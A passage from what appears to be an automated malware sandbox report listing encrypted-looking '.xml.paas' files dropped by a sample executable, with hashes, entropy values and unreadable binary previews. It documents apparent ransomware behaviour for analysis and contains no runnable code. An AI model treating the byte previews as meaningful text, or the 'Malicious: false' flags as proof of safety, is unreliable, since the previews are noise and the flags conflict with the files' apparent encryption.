Preview:	<?xmlO.M.c.0{y._..n..yS u.X.wz.m...La)...,m...fZ`1.ng...^.@.7....~.~.n..y.b....B...k<.....iL.L).C...j:..'. ..n..kg;..G.my.e.....r.5...K.....w.RJ..@P......y`T.;-.l.~.....D....\...F...V..".(u..h....Wu..c#. .w...y.H^hC.<f.....).k^.T..x/.....f...%....m;l.{....Q]'`S......).S'.y.:./n.Z.2.....w..Z.drI.I.:.,.....I"s..L..ClQ,X7~.i...~J......?.....5.....BS...q.H-.^...6=....J.....Q..M...n....C..8..~o..?`..Z..@e.. ...8(L...._&/r.E....;......^.....T...CqG..7...4.:D!`.w...e5.4.~.;.P..3.Hy.....$....26p..e..iu.w......f7...w\|`...-Dt.NQ.6....3k......e...$...T.[.0=.g?4s.GM[s....bkus!..<Q......%.[}..b.P.S.4l.L.G..:.;..W#.`..!hR..^M....G..:..8N.p..1t...?.....t...:ZhUv...J.T.h.......[.!n]........C.+[..K.)Ep..../.Vu+...t..?0.q.V..\|...$t..3...<....:,N..{.R.s-...W...8(....~dHMa.._Pq..t..F#..... Wi.U7,`-......+........G..n.8...@.~4.....f.A....@.....>.n...5..jM..!...u.y.....&.$c..R.6..]]...h=P...MJ..0..f....U....I....:..u3.s....3..vq.~..8.......M.......2

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.699658182069965
Encrypted:	false
SSDEEP:	24:VcQFjkD8ET568UTo5HvM067aykV/cXunbD:bFjwLTs8UcBatnX0D
MD5:	9EE5702023173BB7CB82A51534CFC682
SHA1:	B5F4C5176820C55C8AD9898FFA72B7CE8A6558D2
SHA-256:	A893D314A6F2BCDF16EE3CBA7E62E0985FA4E5BBA3FA75528D7D70CBA551039A
SHA-512:	AAF2E6DD29075437EE33E1A406740990B162EBADE6837A9921B1BDAD2960101C7EF3F498799C764ECB1365AC092A62BE0C72DF4E251275F0D632549B955A193D
Malicious:	false
Preview:	<?xml.......e..&.H...XJ..Vp^.j.D8.,%....s..6...S.!:H:.R.S.q...J4.0..{2.jp.....:..G...{3e$!u..S..cE@..........4A..r7:..p..)+w............6....TSI.q?.g......SHPio'..E`K......D..m..y........e0...C...G..,...M...>4h.H..oL.S.#.....NX/.D'....)fL.w....\|..;r...r\|Y.....B....mC\|....w..8....Q...o..i.7...s.=N.y>+BF..ro..f...4.4.;.g...,2!6u...oo[FBa...\)U...x....<~..A6.>.....QL.?.m..-.....H......^.=.VGZg...#..........r.J;.:.l:jC..:r.....j]..1....r6.u.V.....`...H..NS..l.d.u[.;..F..C..$.L..Q. .HX...S...2~...2..$..q..K.niHf;dT..p../.&.v.r.W..v.VX{9..a,e...tD.....U..f....gk......#...00eA...I.....\|.....Su.K......p"...#.j..u..EE....4.Y...>..y..W.'.h..P.k..I..\|r...> c..0..;.....X..2...3.......]..(.`..F.f..HLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.633859476065133
Encrypted:	false
SSDEEP:	12:uviWmdvRm1UB/0tGNLg5YLsKVYb4HVhaQaHdrvQ19zI9N68nxX30vS2cii9a:uv/mdvRmJwNyMqtKI/62VSbD
MD5:	5673A872AC46580870D181EE405CCDC5
SHA1:	AA1759C83C35550AC6A7564DDCA037F603463F91
SHA-256:	0DA7EED944FF4CF3760900D4B989080D90D93EB74759A93C7DF369868D6BAB89
SHA-512:	984E954580C2747AEC039FD03C7C487BD881C15A53571537814EF969C2497E16F094572D1587C4B41317D1C444E3375394C43BBCB00F5C063310F709812B2023
Malicious:	false
Preview:	<?xml...8.P.k.+.FiF?K}....~...c6..L.y.`}......h..U..j..M.E.......qkD.`.......K..jwC...d..U.F=.bp..6..4.......;.t.HH...U.Zz..<.v.F.g......{`....F.6..m.....0.m..'Rq.....+On'.L.E<..Vt.K.......b....V.~...V.G.3.y..kF...x\".W)..b.d\|...4;...Y....f'?....:..X)W....:...#z...x.\|..WL.r.+Qk../..0.r.A.LU.c.\n..r.ri#..0y..uW..".xX..9REf..l..:d.g\|.8..}..!..h6~X...}.^.B.O..y3..m... ..9...1.3JY..wh1...1.%+fP.Fu..v.)..!FD-.....0.@.=...$o.b.c..\p...E..t...%0:...W..t.5....+.S....y...1J.fG2....9..M...\|..f.N...._.+.......!..?.....x......K.0O..%0....$...jG..;J<.R.....(.,ap.1...qhv.<.L.\.n/s..l...Fw.(......{j..M?.J0!.<.....2..~q.df...`...x..o.X.u.t~.....~...'.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.871494271201213
Encrypted:	false
SSDEEP:	24:RfLpqrdtBP7iYD18WlIqictIdsyfGW02iaYqfWg0PzOno1yRbmlt40/EPUce86TR:lYJtldxNl1ihGvhCp4u0/szUvk77sD
MD5:	DC6DE02B395489A6AF9F8E2715F2BA39
SHA1:	27B3492266F3C70C13B75087A05624FCC52580EE
SHA-256:	DE5B0E06162C9422C9C00995F979D9E51E78E49DD618F0F71B2CD38FAB0A2C1D
SHA-512:	0403DCA98FBB5952BF649DEE1315B773E7D2D9B93E6599E5C100C41E38B118F4E2CB42A04D6FD569FAFED2CE69EE31E0097CC13BE5244D7B1A52BF0BC4A1E267
Malicious:	false
Preview:	<?xml...<i..\..q8...ZNCr..s.V..z...6......o^.0`....~!........K.u.D....!.`..&9e.{w......] ...G%w..~.<..Y.p.....A....r`5r1;.I.^w.>k...tQ..+_m.6.]......tr..F...,g.eC!!..4.h...6......,..wX.1BY.....0.]{D.w'.$.T...h......y..L]...9...,..../.....Q!.::..!.D.._v\|$.L!.#.C..J.c...#t..._.....v.c......2.T%5Q.$...dE9{...J...I.FZ...\A..1.u.r.o".........p.Q'z..7.=..O.[.S.\...N..I..A"BCM.q^....]T.....W+_W..F.j/`b...`.%t..`.5.....2...Q=.."..`sN...}C.......t.F,.fEp'0z..bmdt...M`'..?N.:.....g7..6H.....K.....+..u.0=:(.#.;K>....\ .T.k.A]....<......R...c...\|.pv1o...K.."Dq`.G.-..f%L&.[.... ......A"g}%lq\..........(.C.m_$...'..V.&.d9.......V...z>Y...k.$.4.%). ..q..lXu..OpG...]pu..fY.F.....G.oPW.....w.....4.;...:XK....y..F.....;...3..FF.j<..#m.--..h.^.....U.L...Ar.RP1.^4\R..h.p.........uN.sRp5]0.X.q..8.2.p $........#.7....X..\....w../.^$*B..Gu[-....2..#..,.fZ...O.9.{y.g..3.R.3t..}...7.......w...73......"....^...m.\|.1l.....D.,..(<%E=........p.H,.{:.T_\U."D...E.........R..V

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.729827630580705
Encrypted:	false
SSDEEP:	24:nEe874onFzUgpJBLB0Kyf9Pc7nE1crZ89GMc1TbD:nK7pFpJB+D9kT6cr6nc1HD
MD5:	37D6FD2FA48FBB7F099B811181555FE3
SHA1:	9178AA079DA5C870526B139F10E7FA3C5856FBAB
SHA-256:	2D101642F952B4D4430FD7AFAB3109189B13C14DADA94AE773F28D73C89F3FED
SHA-512:	B3F5BFE0364C2774130520ECD8F9FC1BC37FFC6A071862B6972E77696E2EAD0ABA2C57F0290E09C7EC9E0ED712F84D3BB84CE2AD1E496D26C19CDE9377BFCDD4
Malicious:	false
Preview:	<?xml.$....vOZ:uh.p.'o......r.C.'Bv.."......NR....@...N.-.e....Z.G.t.U'g.+R`...1../.{@... ...0.t..sC.)..x....(.....s..(N......K6c..?.=.^....=.l...7...[.~D.....re.s$tmO.PO...z.<84..P/..1Wa..;.SI#&e0..U-5b.2..-r..W.rl...D.]g..Y.h."....u..Cn7.~.C.KOY.l.R.!..$.........6ZtU......P..CI....4.m.......?8......o<@..N......!.@..&-.&s.........O.4..k.k.j.\|......H.J........L6.'....(2<.. .,..g..U..7Y.. 0..?I4..Ho.M.o..g....'....}......:f........k.....K.f..u.8b.!...`..6Fje#u..J....gK#.=.W...=....-....,dRM7....E.>NC./3.b.6....3.I../@..V9;G...C..J.....i_.O.....).K...@%.V........#t"..`..../..7........R.W..D.......l^.xz...X;U..m....y..F.m... ..$.....".D..?.O.XC.%oo.3}..Eh.....A...\{.tR....k.J.,..A*.3...:.,........@6.w./.j.\vf.)...hd.....!.{..r.. .N.\|..#..g.d.L..+L.....uu..>..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.814411623489249
Encrypted:	false
SSDEEP:	24:U7hp7jHcUholxDWH53Ml62t7Kc6Fb/coJdfv1A61a1pq4/Q4G4L7EbD:y7zcKVqK3FTBJp1a1pq43pLSD
MD5:	402D21EAE68F5650F658BCA297FEA7C2
SHA1:	21A215584B2B934B86B3F5C01CC05BEAD8FCE470
SHA-256:	4ACADD94DD1EEA4E91B3818BA100E965BF9985422AF58B60FC82BE4CE2F9B735
SHA-512:	8D55CD965598CE2A9EF950DD4703B28F23FB9DB178AC274230F156004B1062CD04788D8AD62B7E2023526B54BA06CE16B7FF60F8D05C0FC9438AD44C116F5256
Malicious:	false
Preview:	<?xml....+......[)yCp.k%.U.`o.-nA...\|..A....n% .<N..L....s?...W..,..6^..9.bV.<C..hl....1d,..O4.t..d..M!.o....,..iOU..M..#.Wj.nUc.......7...`.J.X....c..N.\|V...B....O..x.e>....nz!...4.@y.e.4..^..idvu....}....h.. .<&0.f... ...s..`..eno:j.M-x(r...mF..x..y3j#v..Li.....^).U...\...O#9.....H...Zn.h}...U.V......l..W...../.."@....5O...H..r....y0.Ju..}".v.Q...V.r!.x....f..3..0.3[....e..7......&g.$...~.F.fA.j.Eqj.2.MmNY.....D...<3.f>.Bp.l<Z..F...0...S#...!I]...........m.G.wp1........Tg...9bRW.k..x.......l"..........A..R<....O@.....Y.c_sT.'....B?.=.....Y/r..j ??..to\|/.@....?..?...g.y<...:J.D..>.,...c"+.r.......lfle...T..".......?......L..h Ir....:0?J.....).e.l.P.y.Y+.b..NrB..g.....Db...../.'AK...iu..b........3/.`.C.k.I\|.;.q..+.Y......Q.o_.)..=.?..m.O..o&.....P.0...n.O....).....+.%......C3.-m..=d..76.fTL...C.g..m.W.Y.5n.-.O...<G...._"....c......c.u..M~..h..n..).E.k.0..kc..6...%..6.DN@..5@....s.WmqS.9.z."...H;..^oW6.D.ffN......P...O'k4...Y.n

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.880806059022414
Encrypted:	false
SSDEEP:	24:EwDP/g5pmO5WFZNsDc13SG7t1Bgi2qA8z8/F6sKgnmy/a3P0fG0rvTCe6VkbD:EpAWMzlX7jJA/ksKgnmy/af0Hr1D
MD5:	1CB5F7EEE8C8EFE72E914FD7F3F68F4F
SHA1:	8A482123963CB64648134A78ADD204EF87912BEC
SHA-256:	C6D5C2B16AE6CB35720F8936A08F1640ADB6EB3253CBD0AB38F302E1C3CF4B2B
SHA-512:	844955D520C6524D7DF44CEA291805D6F7399DFE2BDFB6F364BD97A670576297BABDAC781804D0412FC8149E33D267A573A918100D35726189D305297C8E98CE
Malicious:	false
Preview:	<?xml......Y.5....~c.^....4.....j......)...2.. &.U..&_.h..IR.W......?.....M..2w...S..a...]..O.xQ=...ja.....&....b..0.{...v0j...U.......j..g.I...KM47.cK.>M....@....c%l......:.CU..h...q..w]-7.XQ ..zdu.8E...x....<..>,4........%`5..p..R......w0.i...P.M...o..4H..J.8q.,Sh.}p...K.b.....B..{.W...!f.UpZ....P....;.+eGo~....X..L..3./............8.D.\$'..:.z./..(\o.7..SH..h..Z.J.`..HwWJ...sX.7..;.m..........Z.\|e.1v....>J.%1.+../Gd;(....s7..5..G(K_C.eG...npe.w..TCfg...B........p.z#.]7.R.7...k.R.'4.....i..xvp..Zg7.....$.=....0)@_.;.....P..5...>.g).^.m....K.6.=.."J..k.:.m.S......W@...n.W..."J..'.H..x(T....N..... .......-...4.;.o.dN.R}<..q.5....4.R....RK..H..@...m..4Wo.6VQW.]t.S...........xs.>......Cp......M\|.F..oU.....y..C.\|h...z.V...H........!e.......+V.x.u...F v....&....a{i(..!5.B.....C".".."....1 G..l.56...E..^.aX.S.<0....c...X...4.=#L+..S...1}..2...Sy.z.0.[.c;.....:_...C..Mc.q..Xo1...ft.....KN%......f...L......B...c..9....w;LP5w]....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.970317243699905
Encrypted:	false
SSDEEP:	192:z7Dv/4wGnHfB7zQgnLMaeg0MrjvcBlZYpbeo:fD4wMZzHLTb4Kpqo
MD5:	D66697BA7BF8F2C5A4711A92C7282A30
SHA1:	5AED9A7CEF0785C0DB6D13D4DE9DEB9E9177AD7E
SHA-256:	3C66E51D0FF05FF559EDCF93001A713EC3AE794AC0166F0FD894B4A8CA5BAD43
SHA-512:	6E826D8841E0D7C24474B147DB881D5D47A5640A13DE33636F18566B780C8DFCD9CEE77B6881D1C0C9AC44CC8339FB7825F3F2757BA4C2AE7D36D905F1AD3F62
Malicious:	false
Preview:	<?xml6.q.........F.D.2...Tc.T..E.T..ww..5'^j{9'.Q..+r.......1..9..UD..'......-.T......B.........I!.~...6.+...U.s\|q..q.Af....<.u.....k..Z......M8.o.Sns.V.\...h6...40L.... .?....k.$.9tH.A..".m.Y..:.@..0......J.....a.7..9.CC\.zq.....jnr2..Z....j7....S.+S%...bO..y9x..a.^..,..?.y.r.@....M........"J".>.s&hE....m.!oh[..9.M...p.z.K..... `#..x'..L)...=.+.S}._.+.P}..CIY..u..A...8.92.W..g..29...#\|+#;.(].....9\|IK...r.......3.....D......#... .xj..49..H.p..q.....%......g[\...h.Y.{2.....Z..U..4.pp..i..yP. .R...,m."(y...... BBm..$....^1..P.U.d.\|.<3Eu....(.M....9.....83^.#!..R.u....Lh..E...3.04.....,(.^Y......F....+#c...c.].c\.$..%...(11{...d..rp..7..+U_..T.n.......\|....'. U..V9..i...{3./...S8.p....U.....B#..&=.G".y......t......^..<_... ....B=..K6-.XD.n..]..&O,+Sd...Y.+a......x4.....^......Y.....uG.3.d.t.r%.?....)M...Yu...b.#..DKI.).~(.".S..t..lb.S...z.-...C..=...F._.E."..m....7b.<J.G.H:..C.+.....+...-.a;.....].5..p....f.....:...R....~.M.. ;..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.734276734016319
Encrypted:	false
SSDEEP:	12:SmhnapoehSICMpBWO8LNJdq1D+MzipTtPlKw2V1vevS72hRwGJwKS2cii9a:SmFa4O6JQSMmTtelUS7iRwGwKbD
MD5:	84469B62DC704B4AECC56C82456040C5
SHA1:	ED630AC81B5170AB816B0558C16C5CE13C22ED5A
SHA-256:	D06AD220DA72D975A07CB65C8B073E9F17BE506A7FE10F64ABBEAA5E67AA97EA
SHA-512:	71D74350B65D575BF4D7931407BEB3B83DAAA3976971A409B2D1A33FECB68114EC8D37F35BFE1CD24154A7A18A98CEC0777C638FF1F7636D45F56DDD119E7C48
Malicious:	false
Preview:	<?xmlr.5!.88.]......%...A%....W.._dU,5w96Z.......ALr..M5c..-.`.V4..OB.S.....c..I..N....A3..W...dZa..&C.......r........[...e1Y'...4..-.....B..^....2.P....q..i.1&8.!........#...e?......f.oZd..q..;B.>"}.........?..L.tH.V9.$,D.\Q[.............l.i*..<Z..q..1.....D...M5@...X. .3..S.I......yj..k.HH...o$\L....`T..S.q.".<.UYV...>.M.....F.^4...\|vOoG.gT.u,...g...lT.\.-./TY.....'r)t@b.........gW.....w)>..J..l.^C;.E....I2~x...vp.]k^_..r4W.._...br.}....>............B.Ct......:M.\|X.FC..(..m.....,....I8\|."......k.......eK.....5......MlMDcd.6!.....vw.2....\...E.1......\.>..a...;kI....u.G..OS....}.ov:..\|..ik./.}.#.X...H...Zf6..q....{..0d .....5=..)..QF......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.8790049337672095
Encrypted:	false
SSDEEP:	24:LqFsDY2+8ezlI6dFjZdYBxho3/xDRkDcDiWayVcWm3qS73uAh0wOKA46q3+78hxg:uFyv+3lvFjwBcxmAD2qLm3FzuAh0wOYU
MD5:	95E74317A7237DABE53B778F55D58853
SHA1:	686DC7B1D5FC57F31E562837ED8C934C6DCE0704
SHA-256:	BE7EF1081448C9664019C6C11E0CEA0880468BBC474EF7FB789A2B19A2D4B8AB
SHA-512:	D2DCAFB54CD7FF052320B25F1077A421C8C4426008FE1146C7F79D2AEECE11BAB2DB495E04FF360D3CC95D8F8AE4D522B9BB00B72CCD12F5DBE685A7E41FFDD2
Malicious:	false
Preview:	<?xml..Tf....Y!Z.1..3;..xA=..vwA..f....%..N..V.._..#...G...qB\.A...\.0.'~x......B....p.I..J.N.).H....72^..O.X.....As}......e.L..\...Lg4.U..Z9nZL...w....0..Q0W...7U...M.....d..../..;..d;..gt.M...?X1.==q..X...p.c ...#...t......^85...D..=z.....l.,.o4..e.~..Y...'..Au`.z.}.A....YYc..<w....}g3.._lm..XRi.....]._1s.mA.P.I....7......M.)...>l...F.......7S%N..A._.B...#...\|.9Be...#....T.0n..X...LV.......9..'...}.}yg.x......8g.fH...m"......\..,.Y...l...W{Is.<.,......I-.0.P.1.)..A_S....r.\.qk.A.p....TS...\M@W..i..O..C.w.Bf.Lt.d.O..~C'...?..M.cI....W..BS:wM.z...j.Z..%...c.(..}t...h.>...A.....k.......r..SW`.......Z]...N2*.K.x.0e.]..qgqV:9..N.Y.B.J?n.9..{...ynK....]Y.-.2&\|n6...._..#R.@....!U.....(5.0...=.R.}.b../..B......-'...[...+?<..3zU>h......K...3.il.kd?.c....Z.X.A}T.hR.....h...U.\.#....tG1%U.6...`.XB.. VU~.p.).........c\|4v1".5...Y2.Z7w%.z.d..S..N.!......b.v.PSd....O.....?=Gm.HO....0(.....?.f..C.....3V....>c...:.1.@u-=.,t...6.....=.oV......+5...G..\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.945327916558947
Encrypted:	false
SSDEEP:	96:4zfZfuw4vPbtggWeMKUE3CPSv3k8r8apVowhu:Y4vPbtfRMKxSKPkg8Iowhu
MD5:	1495C0EF6352C15C04E41FA28777CEF9
SHA1:	194760E02F0ADE6A5DB18EE3A9932DDF2C50835F
SHA-256:	8B62BBF0C74138D4B20234E14B31B2F320F3EADB50919C055A98E16791D02399
SHA-512:	6D7076F52C26FB2C39123D4F5AD28B32A09EBC6CF4D584023B0E2016295296E168E0E61B9B3A33BF9A466A6003EE13DA174AC7F083622E3B4CFD05776E98DB92
Malicious:	false
Preview:	<?xml].&...-nwt..L&H{...j$..&G.,[......M.aw...(...3>.&6..2D....G...m.y..j......`0(0.u..l....s..^..X_h...,..$#......t.:.}....H.W^.2.S.x.-..V9^16f2...O...P..H....C....oTMI0...\|2.-\Cj!.<g...<ii%...?V...m.M....N.."..>..ow.........h.h..#..r'....msu...3./......q...i.n.,n.9.8.....O..xv....(d.ub......g.7-.k%$....BZd<. #P..y.a.......2.5...F.Z6?.......i..~..k...;..z]c.L..(..Y..2..r.......y.4.1....JFlH....$)F..h?.....o.....-....Z..!.-.4... .C.b7.........J.?...0..W......R7..`t...H5hq.NF.`.x...u#...8D.?..Oc.&x=..8../..W..4.a...(}.........L,.7..-.....x..T...L.J&mc...+-..Y;..+..<..JFC.v.-^.....Kg.6..}..}...N.=LS.d.x........ ...E.b(....qi+.k......".......o......\|ce..#..\|.._q..@..>..*..d...ed...b.qZR.V...0.S...\|....." ......W.G..}......A\hZ.......p......,.!.u.\.~J....R....O`.!.a?1..;O.B...G.7^........"..(......#..)......;6.q..l".....d{<.S.J.t..Gb.....M.....n^.Y.N..Yyp^.CF.. .....;.,LM..%.^.kN...`H......6B`..tf.......$.<"%........{y..N[J.A......2.x..8...\|&.n ..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.810762219979652
Encrypted:	false
SSDEEP:	24:Ix9Hezg3QP5CTjLGASLqBKBGFIxrCxCxFJbD:Q9+x5CSKGGFIxJxFpD
MD5:	BD0F91D4AD39984DCE0CCB88A51C9301
SHA1:	A4EECC5108B49995A1A70D248830787B390C1058
SHA-256:	F321505E1A6DA3C1240B045ECA577CB8CD5C83BD451433B5DC20DCE96E2FAFB1
SHA-512:	3A5339F9B85F57953EFF660015EF501382C976DA95421D4C90307C18E9A299B52DADB03BB2E8AD6FDBC504AE52B8F24845D3532692C418C2B4C4CA83CE4F06CE
Malicious:	false
Preview:	<?xml5y.)...H.Q.&..c.`U...F.o.<Z\|fH...q...No#...Y...5.y.Vh=..!.D;....."......=<Yd.1lq.u.....f.$..A....1a6u?...Q..i..Y..9..~.r[k..;{...[..".:.\|...`.W...S.......v.#...Kh..^....V...../..&...%.c....m...u....U.${..u.....\|h...a...9..C.......'...p.P.\,WA`..9......7....1..-..r\..v.\d..w.%)a.K)QZ;hA.@`..O]@...v$z.3^WWh.9O.........#b.j.qMa.....@R3_..%!......EhUu.."._./.k.df....../.I...w...:[./..S..`qO.....J.....-...'..P..G.A..Fe.y..jm.ao..v....y........PI...i =.1.1..k.5U...b.b.._...W....m....;.?[E....y...Tz..>9'....&....l.K.\4U.....?5~.....,.@..._N..[...hV.+....v.1..$....#....D.7...H.%..Q.R.s.^...8.;?...P.~..oH.s7K./.%..=.....,...[.^....0+.S........J...K.@...e..g.....}..Z..\.Q&...fC....u.....^.R.....#..G..\|....Pd.C...N.L."@0U.....L.Zb.b...}...'...Cw.+.X..{..l..."..Z.6.X............h.=xNU..\|./...Cw..7......8T......?.....Ov.r`.>.%..CIt...r..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.92206455227969
Encrypted:	false
SSDEEP:	48:oN6lhtOnW8/IsvdvtGcVTqyOKBYLRumEIaVqduHo00ikUsOvfK13D:E6lPOnWqdvFVTXuNuJIakduHaikl8fKB
MD5:	0792FAD42F5235CD45925E2740029414
SHA1:	E75BE1D4F040911E12A7CE5E95B15C99534AC877
SHA-256:	F5F4E0DC1ADCE89BB0C27B6D5E80D5BBAF5C87C9ACDCA68E7C9AC3130CA33C8B
SHA-512:	494D16E499971E4BB7CCB2B63ABC9CD3E6A8B2A65C78D7C16DA79B01139B0D67345DFA3A1F657A4A279BF82B73F31806DD1B1A9484E4AB4BF55A2A9A9C6D4FD3
Malicious:	false
Preview:	<?xml.3$.e....:...@GTI...J.J...!".@.....(.L......5Jc..O.`.a.....%np6...a..{F8j.e./..f..~c/.....D..(.g:.c..&..M..W.......s.:uA..4.R...0q^EN.?.......c..6.$~.BrW..Z?...;Y..=x_leh..:.a....H..X.).y.2/d...l...h.o...u..A......8F.s.uo..4.. .K\..;.6...]..n....L.\|(.j.cT\|.\....G....Q.2..!."..e...'.C.W.[6.A...\.4{G..8...'.....[.H..E6.a....L}...y.i/R.....e...^..p.6.b<E.....;.'o<@.J.:......o...8@.3..#...w..U.....E.......x.Y.B...c\#"!+.._:0..=.../.]....U..w,....=.NMr."...xA.7.+......m.9.R=....m...+..{C....u....OJ..YK...<.e! <..D(I..J.$..2.^;.......{Iq.....@......K...{.Jp..... .T2........{.. ....%^.....]....w.f"..}..DL.....q.(.\|x..?.....PL....R..78...h...A.e.).......F.....!p.O..#.........<....g......?F.7..~m.)z..X.s..Z...d....3>.1X.d.....9l...t7/...xo..qC;.4.2qS..".nT&...mh.......w..].G.....s.SS..b.w.x.,....$..#.V]G.z/..b...u....-....}.S.S...~8...I....7....8.?..w..@^.T...m...q].aS...RM..{.../.. .K..........M.R...od.{.i..eA..H..V..D...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.922476661796044
Encrypted:	false
SSDEEP:	48:UrKEw4iilhQ7WxudUhzMsC3C8w9N89yjl1G3CSHT8oY24ceJVYzD:UrKdtQhRQiBMsCS8oHGCAYjceng
MD5:	6CE124D5597659E1C74323F487C77709
SHA1:	51E24DFF2862E558CCDACC807C1FBD837EB1BDDE
SHA-256:	CF23C3101223CC4F889634564AE6AAD7BE3F99A0CA1FDB3F795D3ACCCD6AE7E2
SHA-512:	AA3931DEE77D09D13A6B1613C51C05CB50D3D49937BFA49A181A58D00618B6943D9BB2E2A4931D5226109D77889FD0611FF384E73E0AC23974F8678CA9DEC09F
Malicious:	false
Preview:	<?xml.....+.b4P.t<..........\|......?...K.e..[PK....Hh-.Xg.S.....D..@..&.0.}.28....<...!.......D.TX...3.......T....F....".`.n..^.L.\|k......t.g......N......VV0^./..'.._M$.Rv.....%............q..Ba.&.h....x./..(u.i.....T-.Y....a.../.`.A\|..{...p...M....F....MK...<.MK.p.{9\.c..h..{x...:....U...O.ML'.\Z_...j..m.....O:IE..c8..'...q..!...._\.Sv..,..}...[V..^....wL.=..I.z(".7..q..e.s6.....br..E....>7qx..s...wC.#.M.te.......Z....E.S..;a...>.9.9.........z...{...BL......:...a.ZJ.ed.3..uf.$...+b..u.....v....%Y..:...G.f..._.mcY....LaS.RO...2..MB..........bh.<...q.~.x~.1_2..6.=b,$A!...C.....'...F.x.DK.o..Q..gSN+.qT...7....?.7...2..x....-@.5.........w?n....<#q]h.....,.=.^........+.......%..W..W.`...M..K[VyK.....)..w9.......H...X..W4=3...5...C...W..Kki.:V............0w...;..x-Cr.0..M....'R..tZ....cz...v...O......?..J0".5.bDjW.6...M..i..R..5r=3.87x..t>2..4.U..1...`."..n=.....u8f....d~D-#..fe.....1...m.g.-.....j/..dO$...K.o?........L...._t..`...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.938579562825108
Encrypted:	false
SSDEEP:	48:VtTN72uVH0PEppxWejh++xQ95fLZg4TEI0SWIVYlZOmDMAjq2NfE+Y9c8v5XgLpI:Vj7bVHiO2+Is4j6IVYlZOm1jVEntn
MD5:	543CA268C7F3A5FB9461E151C0971F43
SHA1:	DCCEEC484C5AD4607C87E2DA59AC5C5834F2E40E
SHA-256:	DACD6F2486A6111F14FC6C9E08FBA337A3309EDBF64867B6561735F693E8FBD9
SHA-512:	ACFACA8D0DE76EA03DBE885C6AC42A3816E32D5DEE80843BD0901EE8A6571D9663719072F99DE06CADBE0CDC19467B4270AF58067B41C71263D2D7CD0DB752BD
Malicious:	false
